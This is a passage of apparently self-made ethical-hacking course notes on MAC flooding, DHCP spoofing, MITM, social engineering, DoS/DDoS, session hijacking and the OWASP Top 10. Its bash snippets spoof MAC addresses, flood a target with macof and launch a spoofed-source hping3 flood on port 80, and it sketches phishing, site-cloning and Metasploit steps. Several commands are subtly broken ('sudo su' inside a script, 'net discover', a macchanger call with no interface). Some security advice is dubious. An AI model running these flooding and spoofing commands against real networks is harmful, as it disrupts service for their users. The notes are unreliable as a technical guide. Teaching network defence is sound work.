• Implementation: Tools like macof or Yersinia can automate MAC flooding attacks.
• Effect: Once the switch's CAM table is filled with fake MAC addresses, legitimate traffic
forwarding can be disrupted, causing the switch to enter into a fail-open mode,
forwarding all traffic to all ports (also known as a hub mode).
• Detection and Mitigation:
• Network administrators can implement port security features on switches to limit
the number of MAC addresses per port.
• Using Intrusion Prevention Systems (IPS) that can detect abnormal traffic patterns
characteristic of MAC flooding attacks.
• Regularly monitoring network traffic for unusual behavior can also help in
detecting such attacks.
Terminal code:
• #!/bin/bash
•
• # Step 1: Switch to superuser (root) if not already
• sudo su
•
• # Step 2: Perform network discovery
• net discover
•
• # Step 3: Use macchanger to manipulate MAC addresses
• # Change MAC address of eth0 to a random MAC address
• macchanger -e eth0
•
• # Change MAC address of eth0 to a specific MAC address
• macchanger -m 00:01:02:02:09:07
•
• # Verify the MAC address change (optional)
• macchanger -s eth0
Usage:
1. Save the Script: Save this script to a file (e.g., macspoof.sh).
2. Make it Executable: Make the script executable with chmod +x macspoof.sh.
3. Run the Script: Execute the script with ./macspoof.sh.
Notes:
• Ensure macchanger and netdiscover (or nmap for network discovery) are
installed on your system.
 • MAC spoofing should only be performed on networks where you have authorization to
do so, such as in controlled security testing scenarios.
• Adjust the interface name (eth0, wlan0, etc.) according to your specific network setup.

MAC Flooding:
• #!/bin/bash
•
• # Step 1: Switch to superuser (root) if not already
• sudo su
•
• # Step 2: Use macof to flood the network
• # Replace eth0/wlan0 with your actual network interface name
• # Replace 1.1.1.1 with the target IP address you want to flood
• # -n1 specifies the number of packets to send
• macof -i eth0/wlan0 -d 1.1.1.1 -n1

DHCP (Dynamic Host Configuration Protocol):

• Definition: DHCP is a network protocol used to automatically assign IP addresses and
other network configuration parameters to devices on a network.
• Functionality:
• Server: A DHCP server dynamically assigns IP addresses from a pool of
addresses configured for a network.
• Client: Devices (such as computers, smartphones, etc.) request and obtain
network configuration details (like IP address, subnet mask, default gateway) from
the DHCP server.
• Attack Vector:
• DHCP Spoofing: This attack involves an attacker setting up a rogue DHCP server
on a network. The rogue server may offer malicious IP configurations to clients,
redirecting traffic through the attacker-controlled system.
Tools and Techniques:
• Yersinia: A network tool designed for DHCP attacks, including DHCP starvation attacks.
• Scapy: Python-based tool for crafting and sending custom packets, useful for generating
DHCP traffic.
• hping3: Command-line tool for generating TCP/IP packets, which can be used for
various network attacks, including DHCP flooding.
Mitigation:
• Network Segmentation: Divide the network into smaller segments with DHCP servers
serving specific segments to minimize the impact of an attack.
• DHCP Redundancy: Implement DHCP server redundancy with failover configurations
to maintain service availability during an attack.
• Monitoring and Logging: Regularly monitor DHCP server logs and network traffic for
signs of unusual activity that may indicate a flooding attack.
 • Update Security Policies: Ensure network security policies include measures to mitigate
DHCP flooding and other network-based attacks.

MITM (Man-in-the-Middle) Attack:

• Definition: MITM attack occurs when an attacker intercepts communication between two
parties (e.g., between a client and a server) without their knowledge.
• Functionality:
• The attacker can eavesdrop on the communication, modify data packets, or
impersonate one or both parties to gain unauthorized access or to manipulate the
communication.
• Attack Vector:
• DHCP and MITM: In a combined attack, an attacker could perform DHCP
spoofing to become the default gateway or DNS server for clients. This allows the
attacker to intercept traffic between clients and legitimate servers, acting as a
man-in-the-middle.
• Traffic Interception: With control over DHCP, the attacker can redirect traffic to
their own devices or servers, where they can analyze, alter, or capture sensitive
information transmitted between clients and servers.
Common Techniques Used in MITM Attacks:
• ARP Spoofing (ARP Poisoning):
• Manipulates ARP (Address Resolution Protocol) messages to associate the
attacker's MAC address with the IP address of a legitimate network resource.
• This allows the attacker to intercept traffic intended for the legitimate device.
• DNS Spoofing:
• Redirects DNS (Domain Name System) queries to malicious DNS servers
controlled by the attacker.
• This can lead to users being directed to fake websites (phishing) or other
malicious resources.
• Session Hijacking:
• Steals or hijacks an established session between a client and server.
• This can be accomplished by stealing session cookies, session IDs, or exploiting
session management vulnerabilities.
• SSL Stripping:
• Forces communication over unencrypted HTTP instead of HTTPS, stripping away
the encryption layer.
• Allows the attacker to view and modify sensitive information transmitted over the
network.
Mitigation Strategies:
• Encryption: Use strong encryption protocols such as TLS (Transport Layer Security) to
protect data in transit.
• Digital Certificates: Implement HTTPS with valid SSL/TLS certificates to ensure server
authenticity and integrity.
• Network Segmentation: Segment networks to reduce the scope and impact of MITM
attacks.
 • Secure Authentication: Implement multi-factor authentication (MFA) to reduce the risk
of credential theft.
• Monitor Network Traffic: Use intrusion detection systems (IDS) or network monitoring
tools to detect abnormal patterns indicative of MITM attacks.
• Educate Users: Raise awareness among users about the risks of phishing, suspicious
links, and insecure connections.

Social engineering: is a technique used by attackers to manipulate individuals into

divulging confidential information or performing actions that compromise security. Unlike
traditional hacking methods that exploit technical vulnerabilities, social engineering exploits
human psychology and behavior. Here's an overview of social engineering, its tactics, and how to
defend against it:
Overview of Social Engineering:
1. Definition:
• Social engineering involves exploiting human trust, curiosity, or lack of
awareness to gain unauthorized access to systems, data, or physical locations.
• Attackers often impersonate trusted entities or create scenarios that deceive targets
into revealing sensitive information or performing actions that benefit the attacker.
2. Common Tactics:
• Phishing: Sending deceptive emails or messages that appear to be from a
legitimate source (e.g., a bank or a colleague), urging recipients to click on
malicious links or provide sensitive information.
• Pretexting: Creating a fabricated scenario (pretext) to manipulate targets into
disclosing information or performing actions. For example, posing as a tech
support representative requesting login credentials.
• Baiting: Offering something enticing (e.g., free software, USB drives) that
contains malware. When a victim uses the bait, they inadvertently compromise
their system.
• Quid Pro Quo: Offering a benefit in exchange for information or access. For
example, offering IT help in exchange for login credentials.
• Tailgating: Physically following someone into a restricted area or building by
pretending to be an authorized person.
• Impersonation: Pretending to be a trusted individual, such as a colleague, to gain
access to sensitive information.
3. Impacts:
• Social engineering attacks can lead to data breaches, financial losses, identity
theft, and reputational damage.
• They exploit the weakest link in cybersecurity: human behavior and trust.
Defending Against Social Engineering:
1. Education and Awareness:
• Train employees and individuals to recognize social engineering tactics and
suspicious behaviors.
• Conduct simulated phishing exercises to educate users on identifying phishing
emails.
 2. Implement Security Policies:
• Establish and enforce policies for handling sensitive information, including
protocols for verifying identities and reporting suspicious activities.
3. Use Technology:
• Deploy spam filters and email authentication tools to detect and block phishing
emails.
• Implement multi-factor authentication (MFA) to add an additional layer of
security against unauthorized access.
4. Verify Requests:
• Encourage a culture of verification: urge employees to verify requests for
sensitive information or unusual actions through a trusted communication
channel.
5. Physical Security:
• Control access to physical premises with badges, guards, and surveillance to
prevent unauthorized access through tailgating or impersonation.
6. Update and Patch:
• Keep software, systems, and devices updated with the latest security patches to
mitigate vulnerabilities that could be exploited in social engineering attacks
Human-Based Social Engineering:
1. In-Person Interactions:
• Tailgating: Following an authorized person into a secure area by pretending to be
part of the group.
• Impersonation: Pretending to be a contractor, delivery person, or service provider
to gain access to restricted areas.
• Physical Theft: Stealing physical items such as documents, USB drives, or access
badges to gain unauthorized information or access.
2. Defense:
• Implement strict access controls and train employees to challenge unknown
individuals.
• Use visual identification methods (e.g., badges) and security personnel to monitor
access points.
Computer-Based Social Engineering:
1. Phishing:
• Email Phishing: Sending deceptive emails that appear to be from legitimate
sources (banks, colleagues) to trick recipients into revealing sensitive information
or clicking on malicious links.
• Spear Phishing: Targeting specific individuals or organizations with personalized
emails that increase the likelihood of success.
• Whaling: Targeting high-profile individuals such as executives or celebrities for
sensitive information or financial gain.
2. Baiting:
• Offering something enticing (e.g., free software, movie downloads) that contains
malware, leading users to compromise their systems unknowingly.
3. Pretexting:
 • Creating a fabricated scenario (e.g., posing as tech support) to manipulate targets
into revealing confidential information or performing actions that benefit the
attacker.
4. Defense:
• Use spam filters and email authentication methods to detect and block phishing
attempts.
• Train employees to recognize phishing emails and other forms of social
engineering.
• Implement multi-factor authentication (MFA) to add an extra layer of security.
Mobile-Based Social Engineering:
1. SMS/Text Phishing (Smishing):
• Sending deceptive text messages that appear to be from legitimate sources,
prompting users to click on malicious links or provide sensitive information.
2. App-Based Attacks:
• Malicious Apps: Offering seemingly legitimate apps that contain malware or
spyware, compromising the user's device.
• Fake Updates: Prompting users to install fake updates or applications that
actually contain malicious code.
3. Voice Phishing (Vishing):
• Using voice communication (phone calls or voice messages) to impersonate
legitimate entities (banks, tech support) to extract sensitive information or gain
access.
4. Defense:
• Be cautious of unsolicited messages or calls asking for personal information or
urging immediate action.
• Install apps only from trusted sources (official app stores) and keep devices
updated with the latest security patches.
• Use security software to scan for and remove malicious apps or malware.
• #!/bin/bash
•
• # Elevate to root user
• sudo su
•
• # Set up your toolkit (replace <tool_name> with actual tools)
• # Example: Install required tools using apt-get
• apt-get install <tool_name>
•
• # Perform a simulated social engineering attack (educational purposes only)
• # Example: Simulate a phishing attack against employees
• # Note: This is for educational simulation only, do not perform real attacks.
• echo "Simulating a phishing attack..."
• # Insert your command here to simulate a phishing attack
•
• # Simulate a website attack vector (ethical testing only)
 • # Example: Simulate a SQL injection on a vulnerable website
• # Note: Ensure to have permission and perform only on test environments.
• echo "Simulating a SQL injection attack..."
• # Insert your command here to simulate a SQL injection attack
•
• # Simulate a Metasploit exploit (for educational purposes)
• # Example: Use a Metasploit module like exploit/multi/http/wordpress_content_injection
• # Note: This is a simulated demonstration. Never use real exploits on systems without
permission.
• echo "Simulating a Metasploit exploit..."
• # Insert your command here to simulate a Metasploit exploit

Terminal code:

• # Simulate a site cloner (educational use only)

• # Example: Use wget to recursively download a legitimate website
• # Note: Ensure to use this responsibly and within legal boundaries.
• echo "Simulating a site cloner..."
• # Insert your command here to simulate cloning a website
•
• # Start Apache service on port 80
• echo "Starting Apache service..."
• service apache2 start
•
• # Check Apache service status (optional)
• echo "Verifying Apache service status..."
• service apache2 status

Denial of Service (DoS) and Distributed Denial of Service

(DdoS): attacks are designed to overwhelm a target system or network, rendering it
inaccessible to users. Here's an overview of both types of attacks:
Denial of Service (DoS):
• Definition: A DoS attack aims to disrupt services by flooding the target system, server, or
network with traffic, causing it to become unavailable to legitimate users.
• Characteristics:
• Single Source: Typically initiated from a single source or a small number of
sources.
• Resource Exhaustion: Often exploits vulnerabilities in the target's resources,
such as bandwidth, CPU, memory, or network connections.
• Impact: Can lead to temporary or prolonged disruption of services, affecting
availability for legitimate users.
 • Methods:
• Traffic Floods: Sending a large volume of traffic (e.g., TCP/UDP floods, ICMP
floods) to overwhelm the target's network capacity.
• Protocol Attacks: Exploiting weaknesses in network protocols (e.g., SYN flood
attacks targeting TCP handshake process).
• Application Layer Attacks: Targeting specific application weaknesses (e.g.,
HTTP floods targeting web servers).
• Detection and Mitigation:
• Traffic Analysis: Monitoring network traffic for unusual patterns.
• Rate Limiting: Implementing measures to control the rate of incoming traffic.
• Firewall Rules: Blocking known attack sources or specific traffic patterns.
• DoS Protection Services: Using specialized services or appliances designed to
filter and mitigate DoS attacks.
Distributed Denial of Service (DDoS):
• Definition: A DDoS attack involves multiple compromised systems (often called botnets)
attacking a single target simultaneously, amplifying the attack's impact.
• Characteristics:
• Multiple Sources: Coordinated attack from multiple geographically distributed
sources.
• Amplification: Exploits the collective bandwidth and computing power of the
botnet to generate a significant volume of traffic.
• Complexity: Requires coordination and control of a network of compromised
devices.
• Methods:
• Botnets: Enlists devices (computers, IoT devices) into a network to flood the
target with traffic.
• Reflective/Amplification Attacks: Uses legitimate services with amplification
factors (e.g., DNS amplification, NTP amplification) to magnify traffic sent to the
target.
• Application Layer Attacks: Includes complex application-layer exploits to
exhaust server resources or disrupt specific services.
• Detection and Mitigation:
• Anomaly Detection: Identifying abnormal traffic patterns indicating a potential
DDoS attack.
• Traffic Scrubbing: Redirecting traffic through DDoS mitigation services to filter
malicious traffic.
• IP Reputation Blocking: Blocking traffic from known malicious IP addresses or
networks.
• Cloud-Based DDoS Protection: Leveraging cloud services with scalability and
specialized DDoS protection capabilities.

Terminal code:
• hping3 -s 1.1.1.1 -a 1.2.2.3 --flood -p80
session hijacking: is a type of cyber attack where an attacker takes over a user's active
session on a computer system or network service. This allows the attacker to impersonate the
user and gain unauthorized access to sensitive information or perform malicious actions. Here’s
an overview of session hijacking:
Understanding Session Hijacking:
1. Definition: Session hijacking involves intercepting and taking control of a legitimate
user's session after the authentication process has been completed.
2. Methods:
• Packet Sniffing: Monitoring network traffic to capture session identifiers (e.g.,
session cookies).
• Session Prediction: Guessing or predicting session tokens or identifiers.
• Man-in-the-Middle (MitM): Inserting oneself between the user and the server to
capture session tokens.
• Session Fixation: Forcing a user to use a known session identifier controlled by
the attacker.
3. Targets: Session hijacking can target various types of sessions, including web sessions
(HTTP/HTTPS), FTP sessions, SSH sessions, and others where session identifiers are
used for authentication and access control.
Example Scenario:
• HTTP Session Hijacking:
• Method: The attacker intercepts HTTP requests/responses to capture session
cookies.
• Objective: With the session cookie, the attacker can impersonate the user without
needing to know the user's credentials.
Mitigation Techniques:
1. Encryption: Use strong encryption protocols (e.g., HTTPS, SSH) to protect session data
from being intercepted.
2. Secure Session Management: Implement secure session handling practices, such as
expiring sessions after a period of inactivity or using random session identifiers.
3. HTTP Headers: Use HTTP headers like Strict-Transport-Security and
HttpOnly to prevent session hijacking via XSS (Cross-Site Scripting) attacks.
4. Monitoring and Detection: Regularly monitor and analyze network traffic for unusual
activity patterns that may indicate a session hijacking attempt.
5. Session Revocation: Implement mechanisms to invalidate or revoke sessions once
suspicious activity is detected or when a user logs out.
OWASP Top 10 Security Risks and Mitigation Strategies:

Injection

• Description: Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when
untrusted data is sent to an interpreter as part of a command or query.
• Mitigation:
• Use parameterized queries or prepared statements to prevent SQL injection.
 • Validate and sanitize input data to block malicious payloads.
• Use ORM (Object-Relational Mapping) frameworks to automatically handle
database queries safely.
• Broken Authentication
• Description: Weaknesses in authentication mechanisms, including improper session
management and credential handling.
• Mitigation:
• Implement multi-factor authentication (MFA) for sensitive actions.
• Use secure session management practices (e.g., tokens with expiration, secure
cookies).
• Enforce strong password policies and ensure password storage is hashed with a
salt.
• Sensitive Data Exposure
• Description: Failure to properly protect sensitive data through encryption, access
controls, or weak configuration settings.
• Mitigation:
• Encrypt sensitive data at rest and in transit using strong encryption algorithms.
• Minimize data collection and retention of sensitive information.
• Implement strict access controls and principle of least privilege.
• XML External Entities (XXE)
• Description: Older or misconfigured XML processors that allow external entities in
XML documents, leading to data exposure, SSRF attacks, or denial-of-service.
• Mitigation:
• Disable XML external entity and DTD (Document Type Definition) processing in
XML parsers.
• Use less complex data formats such as JSON when possible.
• Validate and sanitize XML input against a whitelist of allowed elements and
attributes.
• Broken Access Control
• Description: Inadequate enforcement of restrictions on what authenticated users are
allowed to do, such as unauthorized access to resources or functionality.
• Mitigation:
• Implement access control mechanisms both in front-end (client-side) and back-
end (server-side).
• Enforce authorization checks with roles and permissions.
• Regularly audit access controls to detect and correct misconfigurations.
• Security Misconfiguration
• Description: Security settings that are insecure by default or improperly configured,
including default passwords, unnecessary features enabled, or overly permissive access
controls.
• Mitigation:
• Follow secure deployment practices and guidelines for all components.
• Use automated tools for scanning and auditing configuration settings.
 • Regularly update and patch software to mitigate known vulnerabilities.
• Cross-Site Scripting (XSS)
• Description: Vulnerabilities that allow attackers to inject client-side scripts into web
pages viewed by other users.
• Mitigation:
• Implement input validation and output encoding to sanitize user-supplied data.
• Use Content Security Policy (CSP) headers to mitigate XSS attacks.
• Educate developers on secure coding practices to prevent XSS vulnerabilities.
• Insecure Deserialization
• Description: Vulnerabilities in deserialization processes where attackers can execute
arbitrary code or perform denial-of-service attacks.
• Mitigation:
• Avoid or minimize deserialization of untrusted data.
• Validate and sanitize serialized objects before deserialization.
• Use serialization formats that are secure by default (e.g., JSON instead of XML).
• Using Components with Known Vulnerabilities
• Description: Including third-party libraries, frameworks, and components with known
vulnerabilities in applications.
• Mitigation:
• Maintain an inventory of all components and their versions.
• Monitor security mailing lists and apply patches and updates promptly.
• Consider using security tools to scan for vulnerabilities in third-party components.
• Insufficient Logging and Monitoring
• Description: Inadequate logging and monitoring of security-relevant events, making it
difficult to detect and respond to security incidents.
• Mitigation:
• Implement comprehensive logging of all security-relevant events.
• Monitor logs for suspicious activities and establish alerting mechanisms.
• Conduct regular security assessments and incident response drills.